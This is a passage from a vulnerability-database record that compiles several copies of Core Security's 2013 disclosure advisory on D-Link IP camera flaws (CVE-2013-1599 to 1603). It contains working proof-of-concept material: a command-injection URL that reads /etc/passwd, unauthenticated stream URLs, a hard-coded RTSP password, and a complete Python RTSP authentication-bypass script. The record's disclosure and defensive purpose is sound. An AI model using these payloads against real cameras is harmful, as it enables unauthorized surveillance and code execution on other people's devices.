data\r\n\r\nif __name__ == '__main__':\r\n if len( sys.argv ) > 1:\r\n listener_port = camera_port = int(sys.argv[1])\r\n camera_ip = sys.argv[2]\r\n if len(sys.argv) == 4:\r\n camera_port = int(sys.argv[3])\r\n RTSPAuthByPasser(listener_port, DLink((camera_ip,\r\ncamera_port))).start()\r\n else:\r\n print 'usage: python %s [local_port] [camera_ip]\r\n[camera_rtsp_port]' \r\n-----/\r\n\r\n7.5. *RTSP Hard-Coded Credentials*\r\n\r\n[CVE-2013-1603] RTSP service contains hard-coded credentials that\r\neffectively serve as a backdoor, which allows remote attackers to access\r\nthe RTSP video stream.\r\n\r\n/-----\r\nusername: (any) \r\npassword: ?*\r\n-----/\r\n\r\nAs we can see in the following dump, the submitted password is compared\r\nwith the string ':?*' (the character ':' is used for concatenation of\r\n'username:password'). This code belongs to the binary 'rtspd':\r\n\r\n/-----\r\n.text:00011468 loc_11468 ; Load from Memory\r\n.text:00011468 LDR R3, [R11,#s2]\r\n.text:0001146C STR R3, [R11,#var_C0] ; Store to Memory\r\n.text:00011470 LDR R2, [R11,#var_C0] ; Load from Memory\r\n.text:00011474 LDR R3, [R11,#var_BC] ; Load from Memory\r\n.text:00011478 ADD R3, R2, R3 ; Rd = Op1 + Op2\r\n.text:0001147C SUB R3, R3, #3 ; Rd = Op1 - Op2\r\n.text:00011480 STR R3, [R11,#var_C0] ; Store to Memory\r\n.text:00011484 LDR R0, [R11,#var_C0] ; s1\r\n.text:00011488 LDR R1, =asc_1B060 ; \":?*\" <-------\r\n.text:0001148C MOV R2, #3 ; n\r\n.text:00011490 BL strncmp ; Branch with Link\r\n.text:00011494 MOV R3, R0 ; Rd = Op2\r\n.text:00011498 CMP R3, #0 ; Set cond. codes on Op1 - Op2\r\n.text:0001149C BNE loc_114BC ; Branch\r\n-----/\r\n\r\n8. *Report Timeline*\r\n. 2013-03-19:\r\nCore Security Technologies notifies the D-Link team of the vulnerability.\r\n\r\n. 2013-03-20:\r\nD-Link team asks for a technical description of the vulnerability.\r\n\r\n. 2013-03-20:\r\nCore sends a draft advisory with technical details and set the estimated\r\npublication date of the advisory for May 14th, 2013.\r\n\r\n. 2013-03-20:\r\nVendor notifies that D-Link Corporation has an unpublished bounty\r\nprogram for security advisors. The bounty program requires both Core\r\nSecurity and D-Link to sign a memo of understanding (MoU).\r\n\r\n. 2013-03-25:\r\nCore notifies that receiving money from vendors may bias the view of the\r\nreport and rejects the bounty program.\r\n\r\n. 2013-03-29:\r\nVendor notifies that they hope to close the fix ASAP.\r\n\r\n. 2013-04-08:\r\nVendor sends the list of vulnerable devices and the associated firmware\r\nand notifies that they will release patches and release notes on the\r\nD-Link support forum first. Then, an official public release will be\r\nannounced (approx. 1 month from forum post to full release).\r\n\r\n. 2013-04-24:\r\nCore asks for a clarification regarding the D-Link release date and\r\nnotifies that releasing fixes to a privileged closed group and/or a\r\nclosed forum or list is unacceptable.\r\n\r\n. 2013-04-25:\r\nVendor notifies that the patches are ready and scheduled for posting on\r\nD-Link web site over the next few days.\r\n\r\n. 2013-04-26:\r\nCore notifies that the advisory is re-scheduled for Monday 29th.\r\n\r\n. 2013-04-29:\r\nAdvisory CORE-2013-0303 published.\r\n\r\n9. *References*\r\n\r\n[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras.\r\n[2]\r\nhttp://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png.\n\n# 0day.today [2017-12-31] #", "sourceHref": "https://0day.today/exploit/20711", "cvss": {"score": 6.5, "vector": "AV:NETWORK/AC:LOW/Au:UNKNOWN/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "coresecurity": [{"lastseen": "2023-10-01T07:08:18", "description": "## 1\\. Advisory Information\n\n**Title: **D-Link IP Cameras Multiple Vulnerabilities \n**Advisory ID: **CORE-2013-0303 \n**Advisory URL: **http://www.coresecurity.com/core-labs/advisories/d-link-ip-cameras-multiple-vulnerabilities \n**Date published: **2013-04-29 \n**Date of last update: **2013-03-29 \n**Vendors contacted: **D-Link Corporation \n**Release mode: **Coordinated release\n\n## 2\\. Vulnerability Information\n\n**Class: **OS command injection [[CWE-78](<http://cwe.mitre.org/data/definitions/78.html>)], Authentication issues [[CWE-287](<http://cwe.mitre.org/data/definitions/287.html>)], Information leak through GET request [[CWE-598](<http://cwe.mitre.org/data/definitions/598.html>)], Authentication issues [[CWE-287](<http://cwe.mitre.org/data/definitions/287.html>)], Use of hard-coded credentials [[CWE-798](<http://cwe.mitre.org/data/definitions/798.html>)] \n**Impact: **Code execution, Security bypass \n**Remotely Exploitable: **Yes \n**Locally Exploitable: **No \n**CVE Name: **[CVE-2013-1599](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1599>), [CVE-2013-1600](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1600>), [CVE-2013-1601](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1601>), [CVE-2013-1602](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1602>), [CVE-2013-1603](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1603>)\n\n## 3\\. Vulnerability Description\n\nMultiple vulnerabilities have been found in D-Link IP cameras [1] that could allow an unauthenticated remote attacker:\n\n 1. [[CVE-2013-1599](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1599>)] to execute arbitrary commands from the administration web interface,\n 2. [[CVE-2013-1600](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1600>)] to access the video stream via HTTP,\n 3. [[CVE-2013-1601](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1601>)] to access the ASCII video stream via image luminance,\n 4. [[CVE-2013-1602](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1602>)] to access the video stream via RTSP,\n 5. [[CVE-2013-1603](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1603>)] to bypass RTSP authentication using hard-coded credentials.\n\n## 4\\. Vulnerable Packages\n\nThe following is the list of affected devices and the associated firmware (confirmed by D-Link). Other SKUs are probably affected too, but they were not checked.\n\n[[CVE-2013-1599](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1599>)]\n\n * DCS-3411/3430 - firmware v1.02\n * DCS-5605/5635 - v1.01\n * DCS-1100L/1130L - v1.04\n * DCS-1100/1130 - v1.03\n * DCS-1100/1130 - v1.04_US\n * DCS-2102/2121 - v1.05_RU\n * DCS-3410 - v1.02\n * DCS-5230 - v1.02\n * DCS-5230L - v1.02\n * DCS-6410 - v1.00\n * DCS-7410 - v1.00\n * DCS-7510 - v1.00\n * WCS-1100 - v1.02\n\n[[CVE-2013-1600](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1600>)]\n\n * DCS-2102/2121 - v1.05_RU\n * DCS-2102/2121 - v1.06\n * DCS-2102/2121 - v1.06_FR\n * TESCO DCS-2102/2121 - v1.05_TESCO\n\n[[CVE-2013-1601](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1601>)] and [[CVE-2013-1603](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1603>)]\n\n * DCS-3411/3430 - v1.02\n * DCS-5605/5635 - v1.01\n * DCS-1100L/1130L - v1.04\n * DCS-1100/1130 - v1.03\n * DCS-1100/1130 - v1.04_US\n * DCS-2102/2121 - v1.05_RU\n * DCS-2102/2121 - v1.06\n * DCS-2102/2121 - v1.06_FR\n * TESCO DCS-2102/2121 - v1.05_TESCO\n * DCS-3410 - v1.02\n * DCS-5230 - v1.02\n * DCS-5230L - v1.02\n * DCS-6410 - v1.00\n * DCS-7410 - v1.00\n * DCS-7510 - v1.00\n * WCS-1100 - v1.02\n\n[[CVE-2013-1602](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1602>)]\n\n * ALL mentioned devices and firmware.\n\n## 5\\. Vendor Information, Solutions and Workarounds\n\nD-Link announces that all patches are ready and scheduled for posting on corporate web site for all customers [2013-04-25]. Contact D-Link for further information.\n\n## 6\\. Credits\n\n[[CVE-2013-1599](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1599>)], [[CVE-2013-1600](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1600>)] and [[CVE-2013-1601](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1601>)] were discovered and researched by Francisco Falcon and Nahuel Riva from Core Exploit Writers Team.\n\n[[CVE-2013-1602](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1602>)] was discovered and researched by Martin Rocha from Core Impact Pro Team. The PoC was made by Martin Rocha with help of Juan Cotta from Core QA Team.\n\n[[CVE-2013-1603](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1603>)] was discovered and researched by Pablo Santamaria from Core Security Consulting Services.\n\nThe publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.\n\n## 7\\. Technical Description / Proof of Concept Code\n\n### 7.1. OS Command Injection\n\n[[CVE-2013-1599](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1599>)] A security issue located in `/var/www/cgi-bin/rtpd.cgi` allows an unauthenticated remote attacker to execute arbitrary commands through the camera's web interface. The OS command injection is due to this code in rtpd.cgi:\n \n \n echo \"$QUERY_STRING\" | grep -vq ' ' || die \"query string cannot contain spaces.\" . \n $conf > /dev/null 2> /dev/null eval \"$(echo $QUERY_STRING | sed -e 's/&/ /g')\" \n\nThe first line of this snippet basically ensures that there are no spaces in `$QUERY_STRING`. The last line uses `sed` to replace ampersands `&` with spaces, and then call to the function `eval()`, resulting in a typical command injection. For example, in order to execute:\n \n \n uname -a;cat /etc/passwd,\n\nthe following request can be sent to the camera web interface:\n \n \n http://192.168.1.100/cgi-bin/rtpd.cgi?uname&-a;cat&/etc/passwd\n\n### 7.2. Authentication Bypass\n\n[[CVE-2013-1600](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1600>)] The live video stream can be accessed without authentication by a remote attacker via the following request:\n \n \n http://192.168.1.100/upnp/asf-mp4.asf\n\n### 7.3. ASCII Video Stream Information Leak\n\n[[CVE-2013-1601](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1601>)] An ASCII output (the image luminance) of the live video stream can be accessed by a remote unauthenticated attacker via:\n \n \n http://192.168.1.100/md/lums.cgi\n\nThe following example is the output of a coffee pot video stream:\n\n`O O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o`\n\n`O O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o`\n\n`O O O O O O O O O O O O O O O O O O . . . o O O o o o o o o o o o o o`\n\n`O O O O O O O O O O O O o o O O o . . o o o o o o o o o o o o o o`\n\n`O O O O O O O O O O O O o o o o . . . . . . o o o o o o o`\n\n`O O O O O O O O O O o . o O O o . o o o o o o`\n\n`O O O O O O O O O . . o o o o o o`\n\n`O O O O O O O O . . o o o o o o o o`\n\n`O O O O O O O . . o O O o . . o o o o o o o o o`\n\n`O O O O O O o . O O O O O O . o o o o o o o o o`\n\n`O O O O O O . O O O O O O O . . . . . o o o o o o o o o`\n\n`O O O O O O o O O O O O O O . . . o . . . o o o o o o o o`\n\n`O O O O O O o O O O O O O O . . . o o o . . . . . . . o o o o o o o o`\n\n`O O O O O O o O O O O O O o . o O O o O O . . . . . . . . o o o o o o o`\n\n`O O O O O O . o O O O O O O o . O O O o O O . . . . . . . . . o o o o o o`\n\n`O O O O O O . . O O O O O o . . O O o o O O o . . . . . . . . o o o o o o`\n\n`O O O O O O o O O O O O o . o O O o o O O o . . . . . . . . . o o o o o`\n\n`O O O O O O O O O O O O . . o O O o o O O o . . . . . . . . . o o o o o`\n\n`O O O O O O O . o O O O o . o o o O o o O O o . . . . . . . . . . o o o o`\n\n`O O O O O O O o . O O O o . o o o O o o O O o . . . . . . . . . . o o o o`\n\n`O O O O O O O O . O O O . . o o o O o o O O o . . . . . . . . . . o o o o`\n\n`O O O O O O O O O O O . . o o o O o o O O o . . . . . . . . . . . o o o`\n\n`O O O O O O O O o o O o o o o o O o o o O o . . . . . . . . . . . o o o`\n\n`O O O O O O O O O . O o o o o o O o . o O o . . . . . . . . . . . . o o`\n\n`O O O O O O O O O . O o . o o o o O . . o O o . . . . . . . . . . . . . o`\n\n`O O O O O O O O O o o . . o o o o o . . o O o . . . . . . . . . . . o`\n\n`O O O O O O O O O O . . . o o o . o . . o O o . . . . . .`\n\n`o O O O O O O O O O . . o o o . o . . . O o . . . `\n\n`o o O O O O O O O O o . o o o . o . . . O o . . `\n\n`o o o O O O O O O O o . o o o . o . . . O o . `\n\n### 7.4. RTSP Authentication Bypass\n\n[[CVE-2013-1602](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1602>)] This vulnerability is triggered because:\n\n 1. 1. Authentication is only present in DESCRIBE requests but not in every subsequent request.\n 2. When the RTSP session is being established, the authentication request of current session is ignored (a previously stored response is used instead).\n \n \n alt;p>As a result, the video stream can be accessed by an unauthenticated remote attacker. \n </p><textarea rows=\"28\" cols=\"60\" wrap=\"off\" style=\"overflow:auto\" id=\"code7\">import sys from socket import * \n from threading import Thread import time, re LOGGING = 1 def log(s): if LOGGING: print '(%s) %s' % \n (time.ctime(), s) class UDPRequestHandler(Thread): def __init__(self, data_to_send, recv_addr, dst_addr): \n Thread.__init__(self) self.data_to_send = data_to_send self.recv_addr = recv_addr self.dst_addr = dst_addr \n def run(self): sender = socket(AF_INET, SOCK_DGRAM) sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) sender.\n sendto(self.data_to_send, self.dst_addr) response = sender.recv(1024) sender.sendto(response, self.recv_addr) \n sender.close() class UDPDispatcher(Thread): dispatchers = [] def __has_dispatcher_for(self, port): return any\n ([d.src_port == port for d in UDPDispatcher.dispatchers]) def __init__(self, src_port, dst_addr): Thread.\n __init__(self) if self.__has_dispatcher_for(src_port): raise Exception('There is already a dispatcher for \n port %d' % src_port) self.src_port = src_port self.dst_addr = dst_addr UDPDispatcher.dispatchers.append(self) \n def run(self): listener = socket(AF_INET, SOCK_DGRAM) listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) listener\n .bind(('', self.src_port)) while 1: try: data, recv_addr = listener.recvfrom(1024) if not data: break \n UDPRequestHandler(data, recv_addr, self.dst_addr).start() except Exception as e: print e break listener.close() \n UDPDispatcher.dispatchers.remove( self ) class PipeThread(Thread): pipes = [] def __init__(self, source, sink, \n process_data_callback=lambda x: x): Thread.__init__(self) self.source = source self.sink = sink self.process_\n data_callback = process_data_callback PipeThread.pipes.append(self) def run(self): while 1: try: data = self.\n source.recv(1024) data = self.process_data_callback(data) if not data: break self.sink.send( data ) except \n Exception as e: log(e) break PipeThread.pipes.remove(self) class TCPTunnel(Thread): def __init__(self, src_port, \n dst_addr, process_data_callback=lambda x: x): Thread.__init__(self) log('[*] Redirecting: localhost:%s -> %s:%s' \n % (src_port, dst_addr[0], dst_addr[1])) self.dst_addr = dst_addr self.process_data_callback = process_data_callback \n # Create TCP listener socket self.sock = socket(AF_INET, SOCK_STREAM) self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, \n 1) self.sock.bind(('', src_port)) self.sock.listen(5) def run(self): while 1: # Wait until a new connection arises \n newsock, address = self.sock.accept() # Create forwarder socket fwd = socket(AF_INET, SOCK_STREAM) fwd.setsockopt\n (SOL_SOCKET, SO_REUSEADDR, 1) fwd.connect(self.dst_addr) # Pipe them! PipeThread(newsock, fwd, self.process_data_callback)\n .start() PipeThread(fwd, newsock, self.process_data_callback).start() class Camera(): def __init__(self, address): \n self.address = address def get_describe_data(self): return '' class DLink(Camera): # D-Link DCS-2102/1.06-5731 def \n __init__(self, address): Camera.__init__(self, address) def get_describe_data(self): return '\\x76\\x3d\\x30\\x0d\\x0a\\x6f\n \\x3d\\x43\\x56\\x2d\\x52\\x54\\x53\\x50\\x48\\x61\\x6e\\x64\\x6c\\x65\\x72\\x20\\x31\\x31\\x32\\x33\\x34\\x31\\x32\\x20\\x30\\x20\\x49\\x4e\\x20\\\n x49\\x50\\x34\\x20\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x32\\x2e\\x31\\x31\\x0d\\x0a\\x73\\x3d\\x44\\x43\\x53\\x2d\\x32\\x31\\x30\\x32\\x0d\\x\n 0a\\x63\\x3d\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x30\\x2e\\x30\\x2e\\x30\\x2e\\x30\\x0d\\x0a\\x74\\x3d\\x30\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6\n 8\\x61\\x72\\x73\\x65\\x74\\x3a\\x53\\x68\\x69\\x66\\x74\\x5f\\x4a\\x49\\x53\\x0d\\x0a\\x61\\x3d\\x72\\x61\\x6e\\x67\\x65\\x3a\\x6e\\x70\\x74\\x3d\n \\x6e\\x6f\\x77\\x2d\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x2a\\x0d\\x0a\\x61\\x3d\\x65\\x74\\x61\\x67\\x3a\\x31\\x32\\x33\\\n x34\\x35\\x36\\x37\\x38\\x39\\x30\\x0d\\x0a\\x6d\\x3d\\x76\\x69\\x64\\x65\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x39\\x36\\x\n 0d\\x0a\\x62\\x3d\\x41\\x53\\x3a\\x31\\x38\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x39\\x36\\x20\\x4d\\x50\\x34\\x56\\x2d\\x45\\x5\n 3\\x2f\\x39\\x30\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x31\\x0d\\x0a\n \\x61\\x3d\\x66\\x6d\\x74\\x70\\x3a\\x39\\x36\\x20\\x70\\x72\\x6f\\x66\\x69\\x6c\\x65\\x2d\\x6c\\x65\\x76\\x65\\x6c\\x2d\\x69\\x64\\x3d\\x31\\x3b\\\n x63\\x6f\\x6e\\x66\\x69\\x67\\x3d\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x35\\x30\\x39\\x30\\x30\\x\n 30\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x31\\x32\\x30\\x30\\x30\\x43\\x34\\x38\\x38\\x42\\x41\\x39\\x38\\x35\\x31\\x34\\x30\\x34\\x3\n 3\\x43\\x31\\x34\\x34\\x33\\x46\\x3b\\x64\\x65\\x63\\x6f\\x64\\x65\\x5f\\x62\\x75\\x66\\x3d\\x37\\x36\\x38\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x73\\x65\n \\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a\\x6d\\x3d\\x61\\x75\\x64\\x69\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x30\\x0d\\x0a\\\n x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x30\\x20\\x50\\x43\\x4d\\x55\\x2f\\x38\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x\n 6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x32\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a' class \n RTSPAuthByPasser(): DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://' UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized' \n SERVER_PORT_ARGUMENTS = 'server_port=' DEFAULT_CSEQ = 1 DEFAULT_SERVER_PORT_RANGE = '5556-5559' def __init__(self, \n local_port, camera): self.last_describe_req = '' self.camera = camera self.local_port = local_port def start(self): \n log('[!] Starting bypasser') TCPTunnel(self.local_port, self.camera.address, self.spoof_rtsp_conn).start() def spoof\n _rtsp_conn(self, data): if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data: self.last_describe_req = data elif RTSPAuthByPasser.\n UNAUTHORIZED_RESPONSE in data and self.last_describe_req: log('[!] Unauthorized response received. Spoofing...') \n spoofed_describe = self.camera.get_describe_data() # Look for the request CSeq m = re.search('.*CSeq:\\\\s*(\\\\d+?)\\\n r\\n.*', self.last_describe_req) cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ # Create the response \n data = 'RTSP/1.0 200 OK\\r\\n' data+= 'CSeq: %s\\r\\n' % cseq data+= 'Content-Type: application/sdp\\r\\n' data+= \n 'Content-Length: %d\\r\\n' % len(spoofed_describe) data+= '\\r\\n' # Attach the spoofed describe data+= spoofed_\n describe elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data: # Look for the server RTP ports m = re.search\n ('.*%s\\\\s*(.+?)[;|\\r].*' % RTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data) ports = m.group(1) if m else RTSPAuthByPasser.\n DEFAULT_SERVER_PORT_RANGE # For each port in the range create a UDP dispatcher begin_port, end_port = map(int, ports.\n split('-')) for udp_port in xrange(begin_port, end_port + 1): try: UDPDispatcher(udp_port, (self.camera.address[0], \n udp_port)).start() except: pass return data if __name__ == '__main__': if len( sys.argv ) > 1: listener_port = camera\n _port = int(sys.argv[1]) camera_ip = sys.argv[2] if len(sys.argv) == 4: camera_port = int(sys.argv[3]) RTSPAuthByPasser\n (listener_port, DLink((camera_ip, camera_port))).start() else: print 'usage: python %s [local_port] [camera_ip] [camera_rtsp_port]' \n\n### 7.5. RTSP Hard-Coded Credentials\n\n[[CVE-2013-1603](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1603>)] RTSP service contains hard-coded credentials that effectively serve as a backdoor, which allows remote attackers to access the RTSP video stream.\n \n \n username: (any) password: ?* \n\nAs we can see in the following dump, the submitted password is compared with the string `:?*` (the character `:` is used for concatenation of `username:password`). This code belongs to the binary `rtspd`:\n \n \n text:00011468 loc_11468 ; Load from Memory .text:00011468 LDR R3, [R11,#s2] .text:0001146C STR R3, \n [R11,#var_C0] ; Store to Memory .text:00011470 LDR R2, [R11,#var_C0] ; Load from Memory .text:00011474 \n LDR R3, [R11,#var_BC] ; Load from Memory .text:00011478 ADD R3, R2, R3 ; Rd = Op1 + Op2 .text:0001147C \n SUB R3, R3, #3 ; Rd = Op1 - Op2 .text:00011480 STR R3, [R11,#var_C0] ; Store to Memory .text:00011484 \n LDR R0, [R11,#var_C0] ; s1 .text:00011488 LDR R1, =asc_1B060 ; \":?*\" <------- .text:0001148C MOV R2, \n #3 ; n .text:00011490 BL strncmp ; Branch with Link .text:00011494 MOV R3, R0 ; Rd = Op2 .text:00011498 \n CMP R3, #0 ; Set cond. codes on Op1 - Op2 .text:0001149C BNE loc_114BC ; Branch \n\n## 8\\. Report Timeline\n\n 1. 1. * **2013-03-19: **CORE Security notifies the D-Link team of the vulnerability.\n * **2013-03-20: **D-Link team asks for a technical description of the vulnerability.\n * **2013-03-20: **Core sends a draft advisory with technical details and set the estimated publication date of the advisory for May 14th, 2013.\n * **2013-03-20: **Vendor notifies that D-Link Corporation has an unpublished bounty program for security advisors. The bounty program requires both Core Security and D-Link to sign a memo of understanding (MoU).\n * **2013-03-25: **CORE notifies that receiving money from vendors may bias the view of the report and rejects the bounty program.\n * **2013-03-29: **Vendor notifies that they hope to close the fix ASAP.\n * **2013-04-08: **Vendor sends the list of vulnerable devices and the associated firmware and notifies that they will release patches and release notes on the D-Link support forum first. Then, an official public release will be announced (approx. 1 month from forum post to full release).\n * **2013-04-24: **CORE asks for a clarification regarding the D-Link release date and notifies that releasing fixes to a privileged closed group and/or a closed forum or list is unacceptable.\n * **2013-04-25: **Vendor notifies that the patches are ready and scheduled for posting on D-Link web site over the next few days.\n * **2013-04-26: **CORE notifies that the advisory is re-scheduled for Monday 29th.\n * **2013-04-29: **Advisory CORE-2013-0303 published.\n\n## 9\\. References\n\n[1] <https://us.dlink.com/en/consumer/cameras-and-smart-home> \n\n\n## 10\\. About CoreLabs\n\nCoreLabs, the research center of CORE Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: https://www.coresecurity.com/core-labs.\n\n## 11\\. About CORE Security\n\nAt CORE Security we help more than 1,400 customers worldwide preempt critical security threats throughout their IT environments, and communicate the risk the threats pose to the business. Our patented, proven, award-winning enterprise solutions are backed by more than 15 years of applied expertise from CoreLabs, the company's innovative security research center.\n\nCORE Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. CORE Security can be reached at: https://www.coresecurity.com.\n\n## 12\\. Disclaimer\n\nThe contents of this advisory are copyright (c) 2013 CORE Security (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: <http://creativecommons.org/licenses/by-nc-sa/3.0/us/>\n\n## 13\\. PGP/GPG Keys\n\nThis advisory has been signed with the GPG key of CORE Security advisories team.\n\n## Authors:\n\nMartin Rocha\n\nNahuel Riva\n\nFrancisco Falcon\n\nPablo Santamaria\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2013-04-29T00:00:00", "type": "coresecurity", "title": "D-Link IP Cameras Multiple Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-1599", "CVE-2013-1600", "CVE-2013-1601", "CVE-2013-1602", "CVE-2013-1603"], "modified": "2013-03-29T00:00:00", "id": "CORE-2013-0303", "href": "https://www.coresecurity.com/core-labs/advisories/d-link-ip-cameras-multiple-vulnerabilities", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "securityvulns": [{"lastseen": "2018-08-31T11:10:47", "description": "\r\n\r\nCore Security - Corelabs Advisory\r\nhttp://corelabs.coresecurity.com/\r\n\r\nD-Link IP Cameras Multiple Vulnerabilities\r\n\r\n1. *Advisory Information*\r\n\r\nTitle: D-Link IP Cameras Multiple Vulnerabilities\r\nAdvisory ID: CORE-2013-0303\r\nAdvisory URL:\r\nhttp://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities\r\nDate published: 2013-04-29\r\nDate of last update: 2013-03-29\r\nVendors contacted: D-Link Corporation\r\nRelease mode: Coordinated release\r\n\r\n2. *Vulnerability Information*\r\n\r\nClass: OS command injection [CWE-78], Authentication issues [CWE-287],\r\nInformation leak through GET request [CWE-598], Authentication issues\r\n[CWE-287], Use of hard-coded credentials [CWE-798]\r\nImpact: Code execution, Security bypass\r\nRemotely Exploitable: Yes\r\nLocally Exploitable: No\r\nCVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602,\r\nCVE-2013-1603\r\n\r\n3. *Vulnerability Description*\r\n\r\nMultiple vulnerabilities have been found in D-Link IP cameras [1] that\r\ncould allow an unauthenticated remote attacker:\r\n\r\n 1. [CVE-2013-1599] to execute arbitrary commands from the\r\nadministration web interface,\r\n 2. [CVE-2013-1600] to access the video stream via HTTP,\r\n 3. [CVE-2013-1601] to access the ASCII video stream via image luminance,\r\n 4. [CVE-2013-1602] to access the video stream via RTSP,\r\n 5. [CVE-2013-1603] to bypass RTSP authentication using hard-coded\r\ncredentials.\r\n\r\n4. *Vulnerable Packages*\r\n\r\nThe following is the list of affected devices and the associated\r\nfirmware (confirmed by D-Link). Other SKUs are probably affected too,\r\nbut they were not checked.\r\n\r\n[CVE-2013-1599]\r\n . DCS-3411/3430 - firmware v1.02\r\n . DCS-5605/5635 - v1.01\r\n . DCS-1100L/1130L - v1.04\r\n . DCS-1100/1130 - v1.03\r\n . DCS-1100/1130 - v1.04_US\r\n . DCS-2102/2121 - v1.05_RU\r\n . DCS-3410 - v1.02\r\n . DCS-5230 - v1.02\r\n . DCS-5230L - v1.02\r\n . DCS-6410 - v1.00\r\n . DCS-7410 - v1.00\r\n . DCS-7510 - v1.00\r\n . WCS-1100 - v1.02\r\n\r\n[CVE-2013-1600]\r\n . DCS-2102/2121 - v1.05_RU\r\n . DCS-2102/2121 - v1.06\r\n . DCS-2102/2121 - v1.06_FR\r\n . TESCO DCS-2102/2121 - v1.05_TESCO\r\n\r\n[CVE-2013-1601] and [CVE-2013-1603]\r\n . DCS-3411/3430 - v1.02\r\n . DCS-5605/5635 - v1.01\r\n . DCS-1100L/1130L - v1.04\r\n . DCS-1100/1130 - v1.03\r\n . DCS-1100/1130 - v1.04_US\r\n . 